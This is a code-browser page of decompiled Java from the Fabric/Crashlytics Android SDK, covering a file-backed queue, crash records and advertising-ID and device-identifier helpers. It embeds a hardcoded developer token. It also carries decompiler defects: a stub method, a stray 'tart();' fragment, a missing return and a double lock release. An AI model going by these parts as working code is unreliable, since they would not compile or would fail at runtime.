        this.url = overrideProtocolAndHost(url);
        this.requestFactory = requestFactory;
        this.method = method;
    }
}



31
32
33
34
35
36
37
38
39
40
41
42
43

getUrl

Java Code
protected String getUrl() {
    return this.url;
}



45
46
47

getHttpRequest

Java Code
protected HttpRequest getHttpRequest() {
    return getHttpRequest(Collections.emptyMap());
}



49
50
51

getHttpRequest

Java Code
protected HttpRequest getHttpRequest(Map<String, String> queryParams) {
    return this.requestFactory.buildHttpRequest(this.method, getUrl(), queryParams).useCaches(false).connectTimeout(DEFAULT_TIMEOUT).header("User-Agent", CRASHLYTICS_USER_AGENT + this.kit.getVersion()).header(HEADER_DEVELOPER_TOKEN, "470fa2b4ae81cd56ecbcda9735803434cec591fa");
}



53
54
55

overrideProtocolAndHost

Java Code
private String overrideProtocolAndHost(String url) {
    String toReturn = url;
    if (CommonUtils.isNullOrEmpty(this.protocolAndHostOverride)) {
        return toReturn;
    }
    return PROTOCOL_AND_HOST_PATTERN.matcher(url).replaceFirst(this.protocolAndHostOverride);
}



57
58
59
60
61
62
63

onRun

Java Code



run

Java Code
public final void run() {
    Process.setThreadPriority(10);
    onRun();
}



8
9
10
11

AdvertisingInfo

Java Code
AdvertisingInfo(String advertisingId, boolean limitAdTrackingEnabled) {
    this.advertisingId = advertisingId;
    this.limitAdTrackingEnabled = limitAdTrackingEnabled;
}



7
8
9
10

equals

Java Code
public boolean equals(Object o) {
    if (this == o) {
        return true;
    }
    if (o == null || getClass() != o.getClass()) {
        return false;
    }
    AdvertisingInfo infoToCompare = (AdvertisingInfo) o;
    if (this.limitAdTrackingEnabled != infoToCompare.limitAdTrackingEnabled) {
        return false;
    }
    if (this.advertisingId != null) {
        if (this.advertisingId.equals(infoToCompare.advertisingId)) {
            return true;
        }
    } else if (infoToCompare.advertisingId == null) {
        return true;
    }
    return false;
}



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

hashCode

Java Code
public int hashCode() {
    int result;
    int i = 0;
    if (this.advertisingId != null) {
        result = this.advertisingId.hashCode();
    } else {
        result = 0;
    }
    int i2 = result * 31;
    if (this.limitAdTrackingEnabled) {
        i = 1;
    }
    return i2 + i;
}



33
34
35
36
37
38
39
40
41
42
43
44
45
46

<clinit>

Java Code



QueueFile

Java Code
public QueueFile(File file) throws IOException {
    this.buffer = new byte[16];
    if (!file.exists()) {
        initialize(file);
    }
    this.raf = open(file);
    readHeader();
}



84
85
86
87
88
89
90
91

QueueFile

Java Code
QueueFile(RandomAccessFile raf) throws IOException {
    this.buffer = new byte[16];
    this.raf = raf;
    readHeader();
}



93
94
95
96
97

writeInt

Java Code
private static void writeInt(byte[] buffer, int offset, int value) {
    buffer[offset] = (byte) (value >> 24);
    buffer[offset + 1] = (byte) (value >> 16);
    buffer[offset + 2] = (byte) (value >> 8);
    buffer[offset + 3] = (byte) value;
}



99
100
101
102
103
104

writeInts

Java Code
private static void writeInts(byte[] buffer, int... values) {
    int offset = 0;
    for (int value : values) {
        writeInt(buffer, offset, value);
        offset += 4;
    }
}



106
107
108
109
110
111
112

readInt

Java Code
private static int readInt(byte[] buffer, int offset) {
    return ((((buffer[offset] & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT) << 24) + ((buffer[offset + 1] & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT) << 16)) + ((buffer[offset + 2] & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT) << 8)) + (buffer[offset + 3] & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
}



114
115
116

readHeader

Java Code
private void readHeader() throws IOException {
    this.raf.seek(0);
    this.raf.readFully(this.buffer);
    this.fileLength = readInt(this.buffer, 0);
    if (((long) this.fileLength) > this.raf.length()) {
        throw new IOException("File is truncated. Expected length: " + this.fileLength + ", Actual length: " + this.raf.length());
    }
    this.elementCount = readInt(this.buffer, 4);
    int firstOffset = readInt(this.buffer, 8);
    int lastOffset = readInt(this.buffer, 12);
    this.first = readElement(firstOffset);
    this.last = readElement(lastOffset);
}



118
119
120
121
122
123
124
125
126
127
128
129
130

writeHeader

Java Code
private void writeHeader(int fileLength, int elementCount, int firstPosition, int lastPosition) throws IOException {
    writeInts(this.buffer, fileLength, elementCount, firstPosition, lastPosition);
    this.raf.seek(0);
    this.raf.write(this.buffer);
}



132
133
134
135
136

readElement

Java Code
private Element readElement(int position) throws IOException {
    if (position == 0) {
        return Element.NULL;
    }
    this.raf.seek((long) position);
    return new Element(position, this.raf.readInt());
}



138
139
140
141
142
143
144

initialize

Java Code
private static void initialize(File file) throws IOException {
    File tempFile = new File(file.getPath() + ".tmp");
    RandomAccessFile raf = open(tempFile);
    try {
        raf.setLength(4096);
        raf.seek(0);
        byte[] headerBuffer = new byte[16];
        writeInts(headerBuffer, 4096, 0, 0, 0);
        raf.write(headerBuffer);
        if (!tempFile.renameTo(file)) {
            throw new IOException("Rename failed!");
        }
    } finally {
        raf.close();
    }
}



146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161

open

Java Code
private static RandomAccessFile open(File file) throws FileNotFoundException {
    return new RandomAccessFile(file, "rwd");
}



163
164
165

wrapPosition

Java Code
private int wrapPosition(int position) {
    return position < this.fileLength ? position : (position + 16) - this.fileLength;
}



167
168
169

ringWrite

Java Code
private void ringWrite(int position, byte[] buffer, int offset, int count) throws IOException {
    position = wrapPosition(position);
    if (position + count <= this.fileLength) {
        this.raf.seek((long) position);
        this.raf.write(buffer, offset, count);
        return;
    }
    int beforeEof = this.fileLength - position;
    this.raf.seek((long) position);
    this.raf.write(buffer, offset, beforeEof);
    this.raf.seek(16);
    this.raf.write(buffer, offset + beforeEof, count - beforeEof);
}



171
172
173
174
175
176
177
178
179
180
181
182
183

ringRead

Java Code
private void ringRead(int position, byte[] buffer, int offset, int count) throws IOException {
    position = wrapPosition(position);
    if (position + count <= this.fileLength) {
        this.raf.seek((long) position);
        this.raf.readFully(buffer, offset, count);
        return;
    }
    int beforeEof = this.fileLength - position;
    this.raf.seek((long) position);
    this.raf.readFully(buffer, offset, beforeEof);
    this.raf.seek(16);
    this.raf.readFully(buffer, offset + beforeEof, count - beforeEof);
}



185
186
187
188
189
190
191
192
193
194
195
196
197

add

Java Code
public void add(byte[] data) throws IOException {
    add(data, 0, data.length);
}



199
200
201

add

Java Code
public synchronized void add(byte[] data, int offset, int count) throws IOException {
    nonNull(data, "buffer");
    if ((offset | count) < 0 || count > data.length - offset) {
        throw new IndexOutOfBoundsException();
    }
    int position;
    expandIfNecessary(count);
    boolean wasEmpty = isEmpty();
    if (wasEmpty) {
        position = 16;
    } else {
        position = wrapPosition((this.last.position + 4) + this.last.length);
    }
    Element newLast = new Element(position, count);
    writeInt(this.buffer, 0, count);
    ringWrite(newLast.position, this.buffer, 0, 4);
    ringWrite(newLast.position + 4, data, offset, count);
    writeHeader(this.fileLength, this.elementCount + 1, wasEmpty ? newLast.position : this.first.position, newLast.position);
    this.last = newLast;
    this.elementCount++;
    if (wasEmpty) {
        this.first = this.last;
    }
}



203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226

usedBytes

Java Code
public int usedBytes() {
    if (this.elementCount == 0) {
        return 16;
    }
    if (this.last.position >= this.first.position) {
        return (((this.last.position - this.first.position) + 4) + this.last.length) + 16;
    }
    return (((this.last.position + 4) + this.last.length) + this.fileLength) - this.first.position;
}



228
229
230
231
232
233
234
235
236

remainingBytes

Java Code
private int remainingBytes() {
    return this.fileLength - usedBytes();
}



238
239
240

isEmpty

Java Code
public synchronized boolean isEmpty() {
    return this.elementCount == 0;
}



242
243
244

expandIfNecessary

Java Code
private void expandIfNecessary(int dataLength) throws IOException {
    int elementLength = dataLength + 4;
    int remainingBytes = remainingBytes();
    if (remainingBytes < elementLength) {
        int newLength;
        int previousLength = this.fileLength;
        do {
            remainingBytes += previousLength;
            newLength = previousLength << 1;
            previousLength = newLength;
        } while (remainingBytes < elementLength);
        setLength(newLength);
        int endOfLastElement = wrapPosition((this.last.position + 4) + this.last.length);
        if (endOfLastElement < this.first.position) {
            FileChannel channel = this.raf.getChannel();
            channel.position((long) this.fileLength);
            int count = endOfLastElement - 4;
            if (channel.transferTo(16, (long) count, channel) != ((long) count)) {
                throw new AssertionError("Copied insufficient number of bytes!");
            }
        }
        if (this.last.position < this.first.position) {
            int newLastPosition = (this.fileLength + this.last.position) - 16;
            writeHeader(newLength, this.elementCount, this.first.position, newLastPosition);
            this.last = new Element(newLastPosition, this.last.length);
        } else {
            writeHeader(newLength, this.elementCount, this.first.position, this.last.position);
        }
        this.fileLength = newLength;
    }
}



246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276

setLength

Java Code
private void setLength(int newLength) throws IOException {
    this.raf.setLength((long) newLength);
    this.raf.getChannel().force(true);
}



278
279
280
281

peek

Java Code
public synchronized byte[] peek() throws IOException {
    byte[] bArr;
    if (isEmpty()) {
        bArr = null;
    } else {
        int length = this.first.length;
        bArr = new byte[length];
        ringRead(this.first.position + 4, bArr, 0, length);
    }
    return bArr;
}



283
284
285
286
287
288
289
290
291
292
293

peek

Java Code
public synchronized void peek(ElementReader reader) throws IOException {
    if (this.elementCount > 0) {
        reader.read(new ElementInputStream(this.first), this.first.length);
    }
}



295
296
297
298
299

forEach

Java Code
public synchronized void forEach(ElementReader reader) throws IOException {
    int position = this.first.position;
    for (int i = 0; i < this.elementCount; i++) {
        Element current = readElement(position);
        reader.read(new ElementInputStream(current), current.length);
        position = wrapPosition((current.position + 4) + current.length);
    }
}



301
302
303
304
305
306
307
308

nonNull

Java Code
private static <T> T nonNull(T t, String name) {
    if (t != null) {
        return t;
    }
    throw new NullPointerException(name);
}



310
311
312
313
314
315

size

Java Code
public synchronized int size() {
    return this.elementCount;
}



317
318
319

remove

Java Code
public synchronized void remove() throws IOException {
    if (isEmpty()) {
        throw new NoSuchElementException();
    } else if (this.elementCount == 1) {
        clear();
    } else {
        int newFirstPosition = wrapPosition((this.first.position + 4) + this.first.length);
        ringRead(newFirstPosition, this.buffer, 0, 4);
        int length = readInt(this.buffer, 0);
        writeHeader(this.fileLength, this.elementCount - 1, newFirstPosition, this.last.position);
        this.elementCount--;
        this.first = new Element(newFirstPosition, length);
    }
}



321
322
323
324
325
326
327
328
329
330
331
332
333
334

clear

Java Code
public synchronized void clear() throws IOException {
    writeHeader(4096, 0, 0, 0);
    this.elementCount = 0;
    this.first = Element.NULL;
    this.last = Element.NULL;
    if (this.fileLength > 4096) {
        setLength(4096);
    }
    this.fileLength = 4096;
}



336
337
338
339
340
341
342
343
344
345

close

Java Code
public synchronized void close() throws IOException {
    this.raf.close();
}



347
348
349

hasSpaceFor

Java Code
public boolean hasSpaceFor(int dataSizeBytes, int maxSizeBytes) {
    return (usedBytes() + 4) + dataSizeBytes <= maxSizeBytes;
}



351
352
353

toString

Java Code
public String toString() {
    final StringBuilder builder = new StringBuilder();
    builder.append(getClass().getSimpleName()).append('[');
    builder.append("fileLength=").append(this.fileLength);
    builder.append(", size=").append(this.elementCount);
    builder.append(", first=").append(this.first);
    builder.append(", last=").append(this.last);
    builder.append(", element lengths=[");
    try {
        forEach(new ElementReader() {
            boolean first = true;
            public void read(InputStream in, int length) throws IOException {
                if (this.first) {
                    this.first = false;
                } else {
                    builder.append(", ");
                }
                builder.append(length);
            }
        });
    } catch (IOException e) {
        LOGGER.log(Level.WARNING, "read error", e);
    }
    builder.append("]]");
    return builder.toString();
}



355
356
357
358
359
360
361
362
363
364
365
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381

read

Java Code
public void read(InputStream in, int length) throws IOException {
    if (this.first) {
        this.first = false;
    } else {
        builder.append(", ");
    }
    builder.append(length);
}



367
368
369
370
371
372
373
374

Element

Java Code
Element(int position, int length) {
    this.position = position;
    this.length = length;
}



32
33
34
35

toString

Java Code
public String toString() {
    return getClass().getSimpleName() + "[position = " + this.position + ", length = " + this.length + "]";
}



37
38
39

ElementInputStream

Java Code
private ElementInputStream(Element element) {
    this.position = QueueFile.this.wrapPosition(element.position + 4);
    this.remaining = element.length;
}



46
47
48
49

read

Java Code
public int read(byte[] buffer, int offset, int length) throws IOException {
    QueueFile.nonNull(buffer, "buffer");
    if ((offset | length) < 0 || length > buffer.length - offset) {
        throw new ArrayIndexOutOfBoundsException();
    } else if (this.remaining <= 0) {
        return -1;
    } else {
        if (length > this.remaining) {
            length = this.remaining;
        }
        QueueFile.this.ringRead(this.position, buffer, offset, length);
        this.position = QueueFile.this.wrapPosition(this.position + length);
        this.remaining -= length;
        return length;
    }
}



51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

read

Java Code
public int read() throws IOException {
    if (this.remaining == 0) {
        return -1;
    }
    QueueFile.this.raf.seek((long) this.position);
    int b = QueueFile.this.raf.read();
    this.position = QueueFile.this.wrapPosition(this.position + 1);
    this.remaining--;
    return b;
}



68
69
70
71
72
73
74
75
76
77

read

Java Code



Crash

Java Code
public Crash(String sessionId) {
    this(sessionId, UNKNOWN_EXCEPTION);
}



28
29
30

Crash

Java Code
public Crash(String sessionId, String exceptionName) {
    this.sessionId = sessionId;
    this.exceptionName = exceptionName;
}



32
33
34
35

getSessionId

Java Code
public String getSessionId() {
    return this.sessionId;
}



37
38
39

getExceptionName

Java Code
public String getExceptionName() {
    return this.exceptionName;
}



41
42
43

FatalException

Java Code
public FatalException(String sessionId) {
    super(sessionId);
}



9
10
11

FatalException

Java Code
public FatalException(String sessionId, String exceptionName) {
    super(sessionId, exceptionName);
}



13
14
15

LoggedException

Java Code
public LoggedException(String sessionId) {
    super(sessionId);
}



19
20
21

LoggedException

Java Code
public LoggedException(String sessionId, String exceptionName) {
    super(sessionId, exceptionName);
}



23
24
25

AdvertisingInfoServiceStrategy

Java Code
public AdvertisingInfoServiceStrategy(Context context) {
    this.context = context.getApplicationContext();
}



140
141
142

getAdvertisingInfo

Java Code
public AdvertisingInfo getAdvertisingInfo() {
    if (Looper.myLooper() == Looper.getMainLooper()) {
        Fabric.getLogger().d(Fabric.TAG, "AdvertisingInfoServiceStrategy cannot be called on the main thread");
        return null;
    }
    try {
        this.context.getPackageManager().getPackageInfo(GOOGLE_PLAY_SERVICE_PACKAGE_NAME, 0);
        AdvertisingConnection connection = new AdvertisingConnection();
        Intent intent = new Intent(GOOGLE_PLAY_SERVICES_INTENT);
        intent.setPackage(GOOGLE_PLAY_SERVICES_INTENT_PACKAGE_NAME);
        try {
            if (this.context.bindService(intent, connection, 1)) {
                AdvertisingInterface adInterface = new AdvertisingInterface(connection.getBinder());
                AdvertisingInfo advertisingInfo = new AdvertisingInfo(adInterface.getId(), adInterface.isLimitAdTrackingEnabled());
                this.context.unbindService(connection);
                return advertisingInfo;
            }
            Fabric.getLogger().d(Fabric.TAG, "Could not bind to Google Play Service to capture AdvertisingId");
            return null;
        } catch (Exception e) {
            Fabric.getLogger().w(Fabric.TAG, "Exception in binding to Google Play Service to capture AdvertisingId", e);
            this.context.unbindService(connection);
            return null;
        } catch (Throwable t) {
            Fabric.getLogger().d(Fabric.TAG, "Could not bind to Google Play Service to capture AdvertisingId", t);
            return null;
        }
    } catch (NameNotFoundException e2) {
        Fabric.getLogger().d(Fabric.TAG, "Unable to find Google Play Services package name");
        return null;
    } catch (Exception e3) {
        Fabric.getLogger().d(Fabric.TAG, "Unable to determine if Google Play Services is available", e3);
        return null;
    }
}



144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

AdvertisingConnection

Java Code
private AdvertisingConnection() {
    this.retrieved = false;
    this.queue = new LinkedBlockingQueue(1);
}



28
29
30
31

onServiceConnected

Java Code
public void onServiceConnected(ComponentName name, IBinder service) {
    try {
        this.queue.put(service);
    } catch (InterruptedException e) {
    }
}



33
34
35
36
37
38

onServiceDisconnected

Java Code
public void onServiceDisconnected(ComponentName name) {
    this.queue.clear();
}



40
41
42

getBinder

Java Code
public IBinder getBinder() {
    if (this.retrieved) {
        Fabric.getLogger().e(Fabric.TAG, "getBinder already called");
    }
    this.retrieved = true;
    try {
        return (IBinder) this.queue.poll(200, TimeUnit.MILLISECONDS);
    } catch (InterruptedException e) {
        return null;
    }
}



44
45
46
47
48
49
50
51
52
53
54

AdvertisingInterface

Java Code
public AdvertisingInterface(IBinder binder) {
    this.binder = binder;
}



64
65
66

asBinder

Java Code
public IBinder asBinder() {
    return this.binder;
}



68
69
70

getId

Java Code
public String getId() throws RemoteException {
    Parcel data = Parcel.obtain();
    Parcel reply = Parcel.obtain();
    String id = null;
    try {
        data.writeInterfaceToken(ADVERTISING_ID_SERVICE_INTERFACE_TOKEN);
        this.binder.transact(1, data, reply, 0);
        reply.readException();
        id = reply.readString();
    } catch (Exception e) {
        Fabric.getLogger().d(Fabric.TAG, "Could not get parcel from Google Play Service to capture AdvertisingId");
    } finally {
        reply.recycle();
        data.recycle();
    }
    return id;
}



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

isLimitAdTrackingEnabled

Java Code
public boolean isLimitAdTrackingEnabled() throws android.os.RemoteException {
    /*
    r9 = this;
    r4 = 1;
    r5 = 0;
    r0 = android.os.Parcel.obtain();
    r3 = android.os.Parcel.obtain();
    r2 = 0;
    r6 = "com.google.android.gms.ads.identifier.internal.IAdvertisingIdService";
    r0.writeInterfaceToken(r6);   Catch:{ Exception -> 0x002e }
    r6 = 1;
    r0.writeInt(r6);   Catch:{ Exception -> 0x002e }
    r6 = r9.binder;   Catch:{ Exception -> 0x002e }
    r7 = 2;
    r8 = 0;
    r6.transact(r7, r0, r3, r8);   Catch:{ Exception -> 0x002e }
    r3.readException();   Catch:{ Exception -> 0x002e }
    r6 = r3.readInt();   Catch:{ Exception -> 0x002e }
    if (r6 == 0) goto L_0x002c;
L_0x0024:
    r2 = r4;
L_0x0025:
    r3.recycle();
    r0.recycle();
L_0x002b:
    return r2;
L_0x002c:
    r2 = r5;
    goto L_0x0025;
L_0x002e:
    r1 = move-exception;
    r4 = io.fabric.sdk.android.Fabric.getLogger();   Catch:{ all -> 0x0041 }
    r5 = "Fabric";
    r6 = "Could not get parcel from Google Play Service to capture Advertising limitAdTracking";
    r4.d(r5, r6);   Catch:{ all -> 0x0041 }
    r3.recycle();
    r0.recycle();
    goto L_0x002b;
L_0x0041:
    r4 = move-exception;
    r3.recycle();
    r0.recycle();
    throw r4;
    */
    throw new UnsupportedOperationException("Method not decompiled: io.fabric.sdk.android.services.common.AdvertisingInfoServiceStrategy.AdvertisingInterface.isLimitAdTrackingEnabled():boolean");
}



92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

<clinit>

Java Code



IdManager

Java Code
public IdManager(Context appContext, String appIdentifier, String appInstallIdentifier, Collection<Kit> kits) {
    if (appContext == null) {
        throw new IllegalArgumentException("appContext must not be null");
    } else if (appIdentifier == null) {
        throw new IllegalArgumentException("appIdentifier must not be null");
    } else if (kits == null) {
        throw new IllegalArgumentException("kits must not be null");
    } else {
        this.appContext = appContext;
        this.appIdentifier = appIdentifier;
        this.appInstallIdentifier = appInstallIdentifier;
        this.kits = kits;
        this.installerPackageNameProvider = new InstallerPackageNameProvider();
        this.advertisingInfoProvider = new AdvertisingInfoProvider(appContext);
        this.firebaseInfo = new FirebaseInfo();
        this.collectHardwareIds = CommonUtils.getBooleanResourceValue(appContext, COLLECT_DEVICE_IDENTIFIERS, true);
        if (!this.collectHardwareIds) {
            Fabric.getLogger().d(Fabric.TAG, "Device ID collection disabled for " + appContext.getPackageName());
        }
        this.collectUserIds = CommonUtils.getBooleanResourceValue(appContext, COLLECT_USER_IDENTIFIERS, true);
        if (!this.collectUserIds) {
            Fabric.getLogger().d(Fabric.TAG, "User information collection disabled for " + appContext.getPackageName());
        }
    }
}



60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

createIdHeaderValue

Java Code
public String createIdHeaderValue(String apiKey, String packageName) {
    return "";
}



87
88
89

canCollectUserIds

Java Code
public boolean canCollectUserIds() {
    return this.collectUserIds;
}



91
92
93

formatId

Java Code
private String formatId(String id) {
    return id == null ? null : ID_PATTERN.matcher(id).replaceAll("").toLowerCase(Locale.US);
}



95
96
97

getAppInstallIdentifier

Java Code
public String getAppInstallIdentifier() {
    String appInstallId = this.appInstallIdentifier;
    if (appInstallId != null) {
        return appInstallId;
    }
    SharedPreferences prefs = CommonUtils.getSharedPrefs(this.appContext);
    checkAdvertisingIdRotation(prefs);
    appInstallId = prefs.getString(PREFKEY_INSTALLATION_UUID, null);
    if (appInstallId == null) {
        return createInstallationUUID(prefs);
    }
    return appInstallId;
}



99
100
101
102
103
104
105
106
107
108
109
110
111

getAppIdentifier

Java Code
public String getAppIdentifier() {
    return this.appIdentifier;
}



113
114
115

getOsVersionString

Java Code
public String getOsVersionString() {
    return getOsDisplayVersionString() + "/" + getOsBuildVersionString();
}



117
118
119

getOsDisplayVersionString

Java Code
public String getOsDisplayVersionString() {
    return removeForwardSlashesIn(VERSION.RELEASE);
}



121
122
123

getOsBuildVersionString

Java Code
public String getOsBuildVersionString() {
    return removeForwardSlashesIn(VERSION.INCREMENTAL);
}



125
126
127

getModelName

Java Code
public String getModelName() {
    return String.format(Locale.US, "%s/%s", new Object[]{removeForwardSlashesIn(Build.MANUFACTURER), removeForwardSlashesIn(Build.MODEL)});
}



129
130
131

removeForwardSlashesIn

Java Code
private String removeForwardSlashesIn(String s) {
    return s.replaceAll(FORWARD_SLASH_REGEX, "");
}



133
134
135

createInstallationUUID

Java Code
private String createInstallationUUID(SharedPreferences prefs) {
    this.installationIdLock.lock();
    try {
        String uuid = prefs.getString(PREFKEY_INSTALLATION_UUID, null);
        if (uuid == null) {
            uuid = formatId(UUID.randomUUID().toString());
            prefs.edit().putString(PREFKEY_INSTALLATION_UUID, uuid).commit();
        }
        this.installationIdLock.unlock();
        return uuid;
    } catch (Throwable th) {
        this.installationIdLock.unlock();
    }
}



138
139
140
141
142
143
144
145
146
147
148
149
150
151

checkAdvertisingIdRotation

Java Code
private void checkAdvertisingIdRotation(SharedPreferences prefs) {
    AdvertisingInfo newAdInfo = getAdvertisingInfo();
    if (newAdInfo != null) {
        flushInstallationIdIfNecessary(prefs, newAdInfo.advertisingId);
    }
}



153
154
155
156
157
158

flushInstallationIdIfNecessary

Java Code
private void flushInstallationIdIfNecessary(SharedPreferences prefs, String advertisingId) {
    this.installationIdLock.lock();
    try {
        if (!TextUtils.isEmpty(advertisingId)) {
            String oldId = prefs.getString(PREFKEY_ADVERTISING_ID, null);
            if (TextUtils.isEmpty(oldId)) {
                prefs.edit().putString(PREFKEY_ADVERTISING_ID, advertisingId).commit();
            } else if (!oldId.equals(advertisingId)) {
                prefs.edit().remove(PREFKEY_INSTALLATION_UUID).putString(PREFKEY_ADVERTISING_ID, advertisingId).commit();
            }
            this.installationIdLock.unlock();
        }
    } finally {
        this.installationIdLock.unlock();
    }
}



161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

getDeviceIdentifiers

Java Code
public Map<DeviceIdentifierType, String> getDeviceIdentifiers() {
    Map<DeviceIdentifierType, String> ids = new HashMap();
    for (Kit kit : this.kits) {
        if (kit instanceof DeviceIdentifierProvider) {
            for (Entry<DeviceIdentifierType, String> entry : ((DeviceIdentifierProvider) kit).getDeviceIdentifiers().entrySet()) {
                putNonNullIdInto(ids, (DeviceIdentifierType) entry.getKey(), (String) entry.getValue());
            }
        }
    }
    String advertisingId = getAdvertisingId();
    if (TextUtils.isEmpty(advertisingId)) {
        putNonNullIdInto(ids, DeviceIdentifierType.ANDROID_ID, getAndroidId());
    } else {
        putNonNullIdInto(ids, DeviceIdentifierType.ANDROID_ADVERTISING_ID, advertisingId);
    }
    return Collections.unmodifiableMap(ids);
}



178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194

getInstallerPackageName

Java Code
public String getInstallerPackageName() {
    return this.installerPackageNameProvider.getInstallerPackageName(this.appContext);
}



196
197
198

isLimitAdTrackingEnabled

Java Code
public Boolean isLimitAdTrackingEnabled() {
    if (shouldCollectHardwareIds()) {
        return explicitCheckLimitAdTracking();
    }
    return null;
}



200
201
202
203
204
205

getAdvertisingId

Java Code
public String getAdvertisingId() {
    if (!shouldCollectHardwareIds()) {
        return null;
    }
    AdvertisingInfo advertisingInfo = getAdvertisingInfo();
    if (advertisingInfo == null || advertisingInfo.limitAdTrackingEnabled) {
        return null;
    }
    return advertisingInfo.advertisingId;
}



207
208
209
210
211
212
213
214
215
216

putNonNullIdInto

Java Code
private void putNonNullIdInto(Map<DeviceIdentifierType, String> idMap, DeviceIdentifierType idKey, String idValue) {
    if (idValue != null) {
        idMap.put(idKey, idValue);
    }
}



218
219
220
221
222

getAndroidId

Java Code
public String getAndroidId() {
    boolean shouldLimitAdTracking = Boolean.TRUE.equals(explicitCheckLimitAdTracking());
    if (!shouldCollectHardwareIds() || shouldLimitAdTracking) {
        return null;
    }
    String androidId = Secure.getString(this.appContext.getContentResolver(), "android_id");
    if (BAD_ANDROID_ID.equals(androidId)) {
        return null;
    }
    return formatId(androidId);
}



224
225
226
227
228
229
230
231
232
233
234

getTelephonyId

Java Code
public String getTelephonyId() {
    return null;
}



237
238
239

getWifiMacAddress

Java Code
public String getWifiMacAddress() {
    return null;
}



242
243
244

getBluetoothMacAddress

Java Code
public String getBluetoothMacAddress() {
    return null;
}



247
248
249

getSerialNumber

Java Code
public String getSerialNumber() {
    return null;
}



252
253
254

shouldCollectHardwareIds

Java Code
protected boolean shouldCollectHardwareIds() {
    return this.collectHardwareIds && !this.firebaseInfo.isFirebaseCrashlyticsEnabled(this.appContext);
}



256
257
258

getAdvertisingInfo

Java Code
synchronized AdvertisingInfo getAdvertisingInfo() {
    if (!this.fetchedAdvertisingInfo) {
        this.advertisingInfo = this.advertisingInfoProvider.getAdvertisingInfo();
        this.fetchedAdvertisingInfo = true;
    }
    return this.advertisingInfo;
}



260
261
262
263
264
265
266

explicitCheckLimitAdTracking

Java Code
private Boolean explicitCheckLimitAdTracking() {
    AdvertisingInfo advertisingInfo = getAdvertisingInfo();
    if (advertisingInfo != null) {
        return Boolean.valueOf(advertisingInfo.limitAdTrackingEnabled);
    }
    return null;
}



268
269
270
271
272
273
274

DeviceIdentifierType

Java Code
private DeviceIdentifierType(int pbufIndex) {
    this.protobufIndex = pbufIndex;
}



55
56
57

AdvertisingInfoProvider

Java Code
public AdvertisingInfoProvider(Context context) {
    this.context = context.getApplicationContext();
    this.preferenceStore = new PreferenceStoreImpl(context, ADVERTISING_INFO_PREFERENCES);
}



17
18
19
20

getAdvertisingInfo

Java Code
public AdvertisingInfo getAdvertisingInfo() {
    AdvertisingInfo infoToReturn = getInfoFromPreferences();
    if (isInfoValid(infoToReturn)) {
        Fabric.getLogger().d(Fabric.TAG, "Using AdvertisingInfo from Preference Store");
        refreshInfoIfNeededAsync(infoToReturn);
        return infoToReturn;
    }
    infoToReturn = getAdvertisingInfoFromStrategies();
    storeInfoToPreferences(infoToReturn);
    return infoToReturn;
}



22
23
24
25
26
27
28
29
30
31
32

refreshInfoIfNeededAsync

Java Code
private void refreshInfoIfNeededAsync(final AdvertisingInfo advertisingInfo) {
    new Thread(new BackgroundPriorityRunnable() {
        public void onRun() {
            AdvertisingInfo infoToStore = AdvertisingInfoProvider.this.getAdvertisingInfoFromStrategies();
            if (!advertisingInfo.equals(infoToStore)) {
                Fabric.getLogger().d(Fabric.TAG, "Asychronously getting Advertising Info and storing it to preferences");
                AdvertisingInfoProvider.this.storeInfoToPreferences(infoToStore);
            }
        }
    }).start();
}



34
35
36
37
38
39
40
41
42
43
44

onRun

Java Code
public void onRun() {
    AdvertisingInfo infoToStore = AdvertisingInfoProvider.this.getAdvertisingInfoFromStrategies();
    if (!advertisingInfo.equals(infoToStore)) {
        Fabric.getLogger().d(Fabric.TAG, "Asychronously getting Advertising Info and storing it to preferences");
        AdvertisingInfoProvider.this.storeInfoToPreferences(infoToStore);
    }
}
tart();



36
37
38
39
40
41
42
43

storeInfoToPreferences

Java Code
private void storeInfoToPreferences(AdvertisingInfo infoToReturn) {
    if (isInfoValid(infoToReturn)) {
        this.preferenceStore.save(this.preferenceStore.edit().putString(PREFKEY_ADVERTISING_ID, infoToReturn.advertisingId).putBoolean(PREFKEY_LIMIT_AD_TRACKING, infoToReturn.limitAdTrackingEnabled));
    } else {
        this.preferenceStore.save(this.preferenceStore.edit().remove(PREFKEY_ADVERTISING_ID).remove(PREFKEY_LIMIT_AD_TRACKING));
    }
}



47
48
49
50
51
52
53

getInfoFromPreferences

Java Code
protected AdvertisingInfo getInfoFromPreferences() {
    return new AdvertisingInfo(this.preferenceStore.get().getString(PREFKEY_ADVERTISING_ID, ""), this.preferenceStore.get().getBoolean(PREFKEY_LIMIT_AD_TRACKING, false));
}



55
56
57

getReflectionStrategy

Java Code
public AdvertisingInfoStrategy getReflectionStrategy() {
    return new AdvertisingInfoReflectionStrategy(this.context);
}



59
60
61

getServiceStrategy

Java Code
public AdvertisingInfoStrategy getServiceStrategy() {
    return new AdvertisingInfoServiceStrategy(this.context);
}



63
64
65

isInfoValid

Java Code
private boolean isInfoValid(AdvertisingInfo advertisingInfo) {
    return (advertisingInfo == null || TextUtils.isEmpty(advertisingInfo.advertisingId)) ? false : true;
}



67
68
69

getAdvertisingInfoFromStrategies

Java Code
private AdvertisingInfo getAdvertisingInfoFromStrategies() {
    AdvertisingInfo infoToReturn = getReflectionStrategy().getAdvertisingInfo();
